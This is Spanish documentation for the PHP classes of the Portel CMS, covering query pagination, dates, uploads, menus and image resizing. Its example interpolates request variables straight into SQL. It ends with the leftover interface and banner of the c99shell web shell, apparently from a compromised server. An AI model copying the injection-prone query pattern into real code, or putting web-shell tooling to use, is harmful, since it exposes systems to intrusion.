Select_pg ($paginar, $seleccion, $desde, $cuando, $numero_campos, $numero_pg, $variables, $print, $link, $inicio)

$paginar es la opción que determina si los resultados se obtienen paginados o sino es así:

- 0, No pagina
- 1, Para paginar
- 2, Trae solo un resultado, el primero
- 3, Trae todos los Resultados

$Seleccion, es la variable que incluye como cadena los campos que se quieren recuperar desde la consulta. En SQL se conoce como el SELECT.

$Desde, es un texto que representa el nombre de la o las tablas desde las cuales se recuperan los datos. En SQL se conoce como el FROM.

$Cuando, es una cadena de caracteres que representa la condición que deben cumplir los registros que sean extraídos. En SQL se conoce como el WHERE.

$numero_campos, es un número que representa la cantidad de campos a extraer con la variable selección.

$numero_pg, es la cantidad de resultados que se quieren extraer según la paginación.

$variables, es una cadena que le da un nombre corto a cada uno de los datos recuperados desde $selección. Funciona en el mismo orden en que se extraen los datos y los nombres de las variables se asignan a través de un nombre encerrado entre paréntesis y separados por guiones. Ejemplo, si estoy recuperando por ejemplo dos campos “links_nombre y links_descripcion”, $variables debería ser algo como: (nombre)-(descripcion). El número de variables debe ser el mismo que el de campos recuperados en $seleccion.

$print, esta variable trae el formato HTML que se espera que tenga el objeto en su presentación. Lo que se hace es copiar en una línea dicho código, anteponer a todas las “comillas” el símbolo \, para que PHP no las tome como literales y reemplazar los contenidos simulados por las variables recuperadas así;

Ejemplo; el siguiente código representa en HTML un breve texto enlazado, seguido de otro como descripción, algo parecido a lo siguiente, muy utilizado para representar un enlace por ejemplo.

Enlace
Descripción del Enlace

El código HTML de este objeto que podríamos llamar enlace es el siguiente:

<p><a href="decide.php?patron=$patron"><font face="verdana" size="2"><b>Enlace</b></font></a></p><p><font size="1" face="verdana">Descripción del Enlace</font></p>

Nótese que en el ejemplo, las palabras “Enlace” y “Descripción del Enlace” son texto que se simula para poder representar el vínculo, en teoría estas palabras deberían ser reemplazadas por las variables que traen desde la base de datos el nombre del enlace y su descripción, en vez de ser unos textos fijos como en este caso. Note también que el texto que se presenta de color azul claro en el código, son como tal los descriptores HTML que componen el objeto.

Si usted sigue las instrucciones, debería empezar por anteponer el símbolo \ (backslash) a cualquier comilla que exista dentro de él, al final tendría algo como:

<p><a href=\"decide.php?patron=$patron\"><font face=\"verdana\" size=\"2\"><b>Enlace</b></font></a></p><p><font size=\"1\" face=\"verdana\">Descripción del Enlace</font></p>

Note en el código de ejemplo anterior que el símbolo \ esta de color rojo, antecediendo cualquier comilla. Esto es indispensable pues de lo contrario PHP tomará las comillas no como un carácter más, sino como un elemento activo y se presentaría un error.

Finalmente su variable $print estará lista cuando usted reemplace dentro del código los texto fijos, por aquellos que deben reemplazar las variables así;

<p><a href=\"decide.php?patron=$patron\"><font face=\"verdana\" size=\"2\"><b>(nombre)</b></font></a></p><p><font size=\"1\" face=\"verdana\">(descripcion)</font></p>

Fíjese que las palabras “enlace” y “descripción” fueron reemplazadas por su correspondientes variables “(nombre)” y “(descripción)”, en adelante este código le servirá para imprimir en pantalla sus enlaces de forma dinámica a través de la variable $print.

Usted puede usar en esta variable $print cualquier formato HTML, pero recuerde seguir las instrucciones y que el código debe ser una línea continua NO debe tener retornos de carro.

$link esta variable representa la URL que deben tener los resultados al paginar, es decir que cuando usted vaya a una segunda página de resultados, debería poder poner su propia página para que esta se muestre como constante al navegar por resultados. Esta variable permite también incluir otras páginas diferentes a la actual con efectos de hacer páginas de detalle o resultados masivos.

$inicio, es un número entero que cuenta a partir de qué resultado se extraen datos y es útil para las paginaciones. No toque esta variable, pues es automática.

Para finalizar con la explicación de la clase veremos el siguiente ejemplo:

$control = new select_pg(2, "contenido_links.links_nombre, contenido_links.links_descripcion, contenido_links.links_texto, contenido_links.links_id ", "contenido_links, contenido_pertenencia_categoria_links", "(( contenido_pertenencia_categoria_links.categoria_tema_id = "$patron" and contenido_pertenencia_categoria_links.links_id = contenido_links.links_id ) and (( contenido_links.links_fecha_publicacion <= "$fecha" and contenido_links.links_fecha_retiro >= "$fecha" ) or ( contenido_links.links_fecha_retiro = "0000-00-00 00:00:00")) and ( contenido_links.links_tipo_id = 1 )) order by contenido_links.links_id DESC", 4, 4, "(nombre)-(descripcion)-(texto)-(id)", "<p><a href=\"decide.php?patron=$patron\"><font face=\"verdana\" size=\"2\"><b>(nombre)</b></font></a></p><p><font size=\"1\" face=\"verdana\">(descripcion)</font></p>", $name_page ,$inicio);

En el ejemplo el código de colores corresponde al siguiente orden de las variables:

$paginar= 2

$seleccion= contenido_links.links_nombre, contenido_links.links_descripcion, contenido_links.links_texto, contenido_links.links_id

$desde= contenido_links, contenido_pertenencia_categoria_links

$cuando=(( contenido_pertenencia_categoria_links.categoria_tema_id = "$patron" and contenido_pertenencia_categoria_links.links_id = contenido_links.links_id ) and (( contenido_links.links_fecha_publicacion <= "$fecha" and contenido_links.links_fecha_retiro >= "$fecha" ) or ( contenido_links.links_fecha_retiro = "0000-00-00 00:00:00")) and ( contenido_links.links_tipo_id = 1 )) order by contenido_links.links_id DESC

$numero_campos=4

$numero_pg=4

$variables=(nombre)-(descripcion)-(texto)-(id)

$print=<p><a href=\"decide.php?patron=$patron\"><font face=\"verdana\" size=\"2\"><b>(nombre)</b></font></a></p><p><font size=\"1\" face=\"verdana\">(descripcion)</font></p>

$link=$name_page

$inicio=$inicio

Uso de variables fuera de la impresión de resultados.

Como vimos en la clase “select_pg” los resultados se imprimen directamente a través su inclusión en la variable $print, pero cómo sacar esos resultados de esa función para ser usados como variables comunes.

Muy simple, cada vez que se instancia la clase, ésta produce una pareja con un variable y un arreglo de dos dimensiones, la cual se puede utilizar para extraer de la clase los resultados libremente.

Suponga que ha instanciado una clase y ha hecho con ella una consulta en donde espera obtener dos resultados; ”links_id” y “links_nombre”, inicialmente si las quisiera usar dentro de la misma clase, debería sacarlas como variables y reemplazarlas en $print, pero como se trata de sacarlas de la clase para su función usted puede usar dos elementos.

Para una instancia llamada $control, sería algo como;

$control->NUMERO_REGISTROS, que devuelve de la clase el número de registros encontrados.

$control->RESULTADOS[x][y]; Arreglo en dos dimensiones que trae los registros encontrados, asociados a los números de registros. De esta forma X, es el número del registro a recuperar contado desde 0 hasta $control->NUMERO_REGISTROS y Y será el orden del campo, en este caso “links_id” será 0 y “links_nombre” 1, pues este era el orden que tenían en la consulta.

De esta forma es posible obtener cualquier dato extraído para su uso como variable general.

Otras Clases

Además de la clase fundamental de consultas, Portel ofrece algunas otras clases con otras funciones básicas para poder traer los contenidos precisos a los objetos. A continuación se explican algunas de ellas.

Clase de Fechas

La clase “Class_fechas” controla operaciones sobre las fechas a través de las siguientes funciones:

Función: explain_fecha. Se usa para que a partir de una fecha formateada “aaaa-mm-dd hh:mm:ss” se obtenga una cadena de fecha con un formato claro para impresión, por ejemplo “Miércoles 15 de Mayo de 1974”.

Uso: explain_fecha($fecha);

Función: sys_fecha, utilizada para obtener en el formato “aaaa-mm-dd hh:mm:ss” la fecha actual.

Uso: sys_fecha();

Función: sys_fecha_short, utilizada para obtener la fecha del momento en el formato “aaaa-mm-dd”.

Uso: sys_fecha_short();

Clase archivos

La clase copia archivos de los formatos reconocidos en las respectivas carpetas de la librería siguiendo el siguiente proceso:

1. Validar el nombre en busca de que sea un archivo de tipo valido dentro del sistema.
2. Verificar que de tratarse de una imagen, el tipo de archivo corresponda a la extensión del mismo.
3. Confirmar que un archivo con el mismo nombre no exista dentro de la carpeta respectiva.
4. Segunda verificación del formato a través de la lectura del header del archivo.
5. Validación para imágenes del máximo de píxeles permitidos.
6. Confirmación del tamaño en Bytes del archivo, a fin de detectar que no sea un archivo excesivamente grande.
7. Copiado.

La clase trabaja así;

archivo($archivo, $ancho, $alto, $archivo_name)

$archivo, Temporal de un campo “archivo” con el nombre del recurso desde el PC, en otras palabras un campo de archivo HTML.
$ancho, Tamaño máximo permitido en píxeles para el ancho.

$alto, Tamaño máximo permitido en píxeles para el alto.

$archivo_name, variable automática con el nombre real del archivo.

Clase Tree

Tiene como objeto representar un menú de árbol con las categorías del mismo nivel y derivadas de este. Esta clase es esencial para construir menús de contexto y funciona de la siguiente forma.

1. Busca sobre que categoría va a construir el menú o “Patron”.
2. Calcula el siguiente nivel, es decir sus hijos.
3. Extrae los objetos de su nivel y su derivados
4. Asigna formato al árbol
5. Imprime.

tree_1($patron, $link, $imagen_nivel_1, $imagen_nivel_2, $fuente, $size)

$patron, es la variable global que toma de la página para saber desde que categoría lo están invocando.

$link, es la URL hacia la que deben apuntar los ítems del árbol, puede ser la misma a la que la invoca u otra.

$imagen_nivel_1, es una imagen de tabulación para el primer nivel.

$imagen_nivel_2, es una imagen de tabulación para el segundo nivel.

$fuente, el nombre del tipo de fuente que se quiere usar para representar el menú.

$size, entero del tamaño de la fuente a usar en el menú.

Clase Resize

Esta clase toma un archivo de imagen cualquiera y crea a partir de una dimensión máxima una foto, un contacto a través de la variable $this->dest, el cual representa a manera de “thumbnail” la imagen original.

resize($archivo, $sz)

$archivo, es la ruta en donde se encuentra el archivo de imagen original.

$sz, la dimensión en píxeles máxima que debería tener el lado mayor la imagen resultante. El cálculo se hace sobre el lado mayor, el otro se obtiene proporcionalmente.

La Variable $patron

En la construcción de objetos es necesario en ocasiones saber en qué sección se encuentra el navegante, a fin de poder determinar qué contenido se le envia. Para esto sirve la variable $patron, que trae desde la navegación el número de identificación única de las categorías pero de forma jerarquizada, por ejemplo “01.010205”, es decir el campo “categoría_tema_id” de la tabla “contenido_categoria”.

Librería de Objetos

A continuación encontrará una breve descripción de los objetos básicos incluidos en Portel durante su instalación básica. Obtenga otros de la página de recursos de Portel.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--